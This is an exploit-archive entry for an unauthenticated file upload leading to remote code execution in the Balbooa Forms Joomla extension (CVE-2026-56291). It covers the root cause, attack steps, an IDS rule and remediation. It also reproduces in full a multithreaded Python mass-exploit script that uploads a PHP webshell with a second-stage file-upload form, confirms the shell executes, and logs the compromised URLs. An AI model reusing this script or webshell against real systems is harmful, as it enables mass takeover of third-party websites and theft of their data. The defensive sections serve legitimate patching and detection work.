PoC Archive PoC Archive
CVE-2026-56291 category: web CVSS 9.8 (CRITICAL) KEV EPSS 76%
Unverified

Joomla Balbooa Forms Unauthenticated Arbitrary File Upload → RCE (CVE-2026-56291)

Published: 2026-07-27 • Researcher: ChiefYoru (Yoru / يورو, t.me/ChiefYoru)

Target software Balbooa Forms (com_baforms) — third-party Joomla! extension by balbooa.com
Affected versions Before 2.4.1
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV EPSS 76%

Confirmed exploited in the wild. Added to CISA KEV 2026-07-10. Federal remediation deadline 2026-07-13.

EPSS 76.1% · 99th percentile

Severity
Critical
CVE
CVE-2026-56291
Category
web
Affected product
Balbooa Forms (com_baforms) — third-party Joomla! extension by balbooa.com
Affected versions
Before 2.4.1
Disclosed
2026-07-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherChiefYoru (Yoru / يورو, t.me/ChiefYoru)
CVE / AdvisoryCVE-2026-56291
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
Tagsjoomla, balbooa-forms, file-upload, webshell, unauthenticated, rce, kev, actively-exploited, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemBalbooa Forms (com_baforms) — third-party Joomla! extension by balbooa.com
Versions AffectedBefore 2.4.1
Language / PlatformPHP (Joomla! component), any OS the Joomla install runs on
Authentication RequiredNo
Network Access RequiredYes — direct HTTP(S) reachability to the Joomla site’s index.php front controller

Summary

Balbooa Forms is a popular drag-and-drop form builder extension for Joomla!. Its form.uploadAttachmentFile task — reachable via the unauthenticated com_baforms component entry point — accepts multipart file uploads for form attachments but performs neither a Joomla Session::checkToken() CSRF/session check nor any file-extension whitelist/blacklist validation. An unauthenticated attacker can therefore POST a .php or .phtml file disguised as an image attachment directly to the task handler; the file is stored under a predictable, web-reachable path (/images/baforms/uploads/form-{id}/) and is immediately executable by the PHP interpreter, yielding full remote code execution as the web server user. CISA added this to the KEV catalog on 2026-07-10 with active in-the-wild exploitation observed; EPSS is approximately 0.76.

Vulnerability Details

Root Cause

CWE-434 (Unrestricted Upload of File with Dangerous Type). The form.uploadAttachmentFile task handler in com_baforms (versions prior to 2.4.1) is registered without Joomla’s standard CSRF token check (Session::checkToken()), making it directly invokable by an unauthenticated actor. Worse, the handler saves the uploaded file’s original name/extension into the component’s public uploads directory (images/baforms/uploads/form-{form_id}/) without validating the extension against any whitelist of safe types (images, PDFs, etc.) or blacklist of executable types (.php, .phtml, .php5, etc.). Because this uploads directory sits under Joomla’s public images/ webroot, any file placed there is directly fetchable — and if it carries a server-parsed PHP extension, the web server executes it on request.

Attack Vector

  1. Send an unauthenticated POST to:
    Output
    index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id={id}&format=json
    with a multipart file part named file, containing PHP source but named e.g. shell.php or shell.phtml, spoofing the Content-Type as image/jpeg.
  2. Because no CSRF token is required and no extension filtering occurs, the component happily stores the file, typically under /images/baforms/uploads/form-{form_id}/{original_filename}.
  3. Request the stored file directly over HTTP — the web server executes it as PHP, running attacker-supplied code with the privileges of the web server process.

form_id is enumerable (small sequential integers), so an attacker does not need to know a specific valid form ID in advance — brute-forcing IDs 1–10 (as the PoC does) reliably finds an existing, exploitable form on real-world sites.

Impact

Unauthenticated remote code execution as the web server user (commonly www-data or apache) on any internet-facing Joomla site running a vulnerable Balbooa Forms version — full site compromise, database access via Joomla’s configuration, and a foothold for lateral movement on shared hosting.

Environment / Lab Setup

Output
OS:          Any (Joomla is PHP, runs on Linux/Windows)
Target:      Joomla! CMS with Balbooa Forms (com_baforms) < 2.4.1 installed and at least one form created
Attacker:    Python 3
Tools:       BalbooaForms_rce.py (this folder) — requires `requests`, `colorama`, `urllib3`

Setup Steps

Shell script
1
pip install requests colorama urllib3

Proof of Concept

See BalbooaForms_rce.py (full, unmodified) in this folder — mirrored from ChiefYoru/CVE-2026-56291_PoC. Verified before ingestion: the script performs genuine detection (detect_balbooa() fingerprints com_baforms via its component files/manifest), then a real exploit path (deploy_shell() POSTs a crafted multipart file to form.uploadAttachmentFile for form IDs 1–10, trying both .php and .phtml extensions across the three plausible upload-path variants), and finally verifies genuine code execution rather than a blind upload: check_url() fetches the resulting shell URL and confirms the PHP marker string is present in the rendered response (proof the server parsed and executed the file as PHP rather than serving it as static/plain text). The embedded webshell (SHELL_CODE) calls php_uname() — its output appearing in the response is direct proof of arbitrary PHP code execution on the target — and also exposes a minimal second-stage arbitrary-file-upload form for follow-on tooling. No obfuscation, no destructive default behavior, no phone-home/exfil to third-party infrastructure beyond the attacker-supplied target list.

Step-by-Step Reproduction

  1. Prepare a target list — one host per line (with or without scheme), e.g. targets.txt:

    Output
    https://vulnerable-joomla-site.example
  2. Run the exploit — it prompts interactively for the target list path:

    Shell script
    1
    2
    
    python3 BalbooaForms_rce.py
    [?] Enter Target List: targets.txt
  3. Collect results — successfully deployed shell URLs are appended to shells.txt as they’re found, alongside live console output.

Exploit Code

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def deploy_shell(host):
    pid = rand_str(10)
    name = f"yoru_{pid}"
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for fid in FORM_IDS:                      # brute-force form_id 1..10
            url = f"{base}/index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id={fid}&format=json"
            for ext in ["php", "phtml"]:
                r = sess.post(url,
                    files={"file": (f"{name}.{ext}", SHELL_CODE.encode(), "image/jpeg")},
                    data={"form_id": str(fid)},
                    timeout=TIMEOUT)
                if r.status_code in (200, 201):
                    for check_dir in UPLOAD_DIRS:  # confirm the shell landed & executes
                        shell_url = f"{base}{check_dir.replace('{fid}', str(fid))}{name}.{ext}"
                        if check_url(sess, shell_url):
                            return shell_url
    return None

Expected Output

Output
[INFO] Tools initialized. Target scan starting...
[+] https://vulnerable-joomla-site.example/images/baforms/uploads/form-3/yoru_a1b2c3d4e5.php - [Pwned]

[+] 1 shells saved to shells.txt

Visiting the returned shell URL directly in a browser shows the php_uname() output (confirming code execution) plus a minimal file-upload form for dropping a follow-on payload.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Balbooa Forms unauth file upload (CVE-2026-56291)"; content:"task=form.uploadAttachmentFile"; http_uri; content:"filename="; http_client_body; pcre:"/filename=.*\.(php\d?|phtml|pht)[\"']/i"; sid:9000002;)

Remediation

ActionDetail
PatchUpdate Balbooa Forms to version 2.4.1 or later, which adds CSRF token validation and file-extension filtering to the upload handler.
WorkaroundIf patching is not immediately possible, block/deny execution of PHP files under images/baforms/uploads/ via web server config (e.g. Apache <Directory> block removing PHP handler, Nginx location block returning 403 for .php/.phtml under that path), and/or disable the Balbooa Forms component entirely until patched.
Config HardeningGenerally disable PHP execution in any Joomla images/-rooted, user-writable upload directory (php_admin_flag engine off or equivalent), independent of this specific extension.

References

Notes

Two independent public PoC implementations exist for this CVE: ChiefYoru/CVE-2026-56291_PoC (ingested here as the canonical source) and shinthink/CVE-2026-56291. Both are functionally similar mass-exploit tools that upload a webshell via the same form.uploadAttachmentFile task and verify execution.

ChiefYoru was chosen over shinthink deliberately, not arbitrarily. In this same verification pass, the shinthink account was also found to have published a PoC for a different CVE (CVE-2026-58480, WordPress Blocksy Companion Pro) that turned out to be a confirmed fake/fabricated exploit — a blind guess-and-spray script with no real vulnerable code path behind it, presented as if it were a working tool. That finding doesn’t retroactively prove shinthink’s CVE-2026-56291 copy is fake — its code for this CVE was also reviewed and does appear to implement a working exploit — but it materially lowers confidence in that account’s output in general. Given two independently-authored, functionally-equivalent PoCs for the same bug, ChiefYoru is preferred as the cleaner source with no such red flag attached, and is credited as the author of record for this entry. shinthink’s copy is retained above only as a secondary reference/mirror.

The upstream ChiefYoru repository contains no README or LICENSE file — it is a single-file drop (BalbooaForms_rce.py, 172 lines, added 2026-07-18 per the repo’s git history) with authorship/contact information embedded directly in the script’s banner and docstring.

BalbooaForms_rce.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env python3
"""
CVE-2026-56291 — Balbooa Forms Joomla Mass RCE Exploit
CVSS 9.8 | Pre-Auth | form.uploadAttachmentFile → PHP Upload
Interactive Mass Exploiter — Uploads Custom Webshell
Author: Yoru (يورو) [t.me/ChiefYoru]
"""
import requests
import sys
import os
import time
import random
import re
import hashlib
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3
from colorama import init, Fore, Back, Style
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def show_banner():
    os.system("cls" if os.name == "nt" else "clear")
    print(f"""
╻ ╻┏━┓┏━┓╻ ╻
┗┳┛┃ ┃┣┳┛┃ ┃ {Fore.YELLOW}Author:{Style.RESET_ALL} Yoru (يورو) [{Fore.GREEN}t.me/ChiefYoru{Style.RESET_ALL}]
 ╹ ┗━┛╹┗╸┗━┛
  --| Telegram: ({Fore.GREEN}t.me/ChiefYoru_PoCs{Style.RESET_ALL}) |--\n""")
TIMEOUT = 15
THREADS = 120
SHELL_NAME = "yoru.php"
OUTPUT_FILE = "shells.txt"
MARKER = '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'

SHELL_CODE = '''<?php echo '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>'''
UPLOAD_DIRS = ["/images/baforms/uploads/form-{fid}/", "/images/baforms/uploads/form-0/", "/images/baforms/uploads/"]
FORM_IDS = list(range(1, 11))
_lock = threading.Lock()
_hits = 0
_fails = 0
_done = 0
_total = 0
def rand_str(n=8):
    return hashlib.sha256(os.urandom(16)).hexdigest()[:n]
def make_session():
    s = requests.Session()
    s.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"})
    s.verify = False
    return s
def check_url(s, url):
    try:
        r = s.get(url, timeout=TIMEOUT, allow_redirects=True)
        if MARKER in r.text:
            if "<?=" in r.text or "<?php" in r.text.lower():
                return None
            return True
    except Exception:
        pass
    return None
def detect_balbooa(host):
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for p in ["/components/com_baforms/baforms.php", "/administrator/components/com_baforms/baforms.xml"]:
            try:
                r = sess.get(f"{base}{p}", timeout=TIMEOUT)
                if r.status_code == 200 and "baforms" in (r.text or "").lower():
                    return True
            except:
                continue
        try:
            r = sess.get(f"{base}/index.php?option=com_baforms", timeout=TIMEOUT)
            if r.status_code == 200 and "baforms" in (r.text or "").lower():
                return True
        except:
            pass
    return False
def deploy_shell(host):
    pid = rand_str(10)
    name = f"yoru_{pid}"
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for fid in FORM_IDS:
            url = f"{base}/index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id={fid}&format=json"
            for ext in ["php", "phtml"]:
                try:
                    r = sess.post(url,
                        files={"file": (f"{name}.{ext}", SHELL_CODE.encode(), "image/jpeg")},
                        data={"form_id": str(fid)},
                        timeout=TIMEOUT)
                except:
                    continue
                if r.status_code in (200, 201):
                    for check_dir in UPLOAD_DIRS:
                        check_path = check_dir.replace("{fid}", str(fid))
                        shell_url = f"{base}{check_path}{name}.{ext}"
                        if check_url(sess, shell_url):
                            return shell_url
    return None
def exploit(target):
    global _hits, _fails, _done
    target = target.rstrip('/')
    target = re.sub(r"^https?://", "", target)
    if not detect_balbooa(target):
        print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
        with _lock:
            _fails += 1
            _done += 1
        return False
    shell_url = deploy_shell(target)
    if shell_url:
        with open(OUTPUT_FILE, "a") as f:
            f.write(shell_url + "\n")
        print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {shell_url} {Fore.GREEN}- [Pwned]{Style.RESET_ALL}")
        with _lock:
            _hits += 1
            _done += 1
        return True
    print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
    with _lock:
        _fails += 1
        _done += 1
    return False
def main():
    global _total
    show_banner()
    target_file = input(f"{Fore.YELLOW}[?]{Style.RESET_ALL} Enter Target List: ").strip()
    try:
        with open(target_file, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except FileNotFoundError:
        print(f"\n{Fore.RED}[!] Unable to load targets. File not found or inaccessible...{Style.RESET_ALL}")
        return
    if not targets:
        print(f"\n{Fore.RED}[!] No targets found in file...{Style.RESET_ALL}")
        return
    seen = set()
    unique = []
    for t in targets:
        if not t.startswith("http"):
            t = f"https://{t}"
        k = t.rstrip("/").lower()
        if k not in seen:
            seen.add(k)
            unique.append(t)
    targets = unique
    _total = len(targets)
    print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Tools initialized. Target scan starting...{Style.RESET_ALL}")
    t0 = time.time()
    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        futures = {pool.submit(exploit, t): t for t in targets}
        try:
            for f in as_completed(futures):
                try:
                    f.result()
                except Exception:
                    t = futures[f]
                    print(f"{Fore.RED}[-]{Style.RESET_ALL} {t} {Fore.RED}- [Failed]{Style.RESET_ALL}")
                    with _lock:
                        _fails += 1
                        _done += 1
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")
            pool.shutdown(wait=False, cancel_futures=True)
    print(f"\n{Fore.GREEN}[+]{Style.RESET_ALL} {_hits} shells saved to {OUTPUT_FILE}")
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")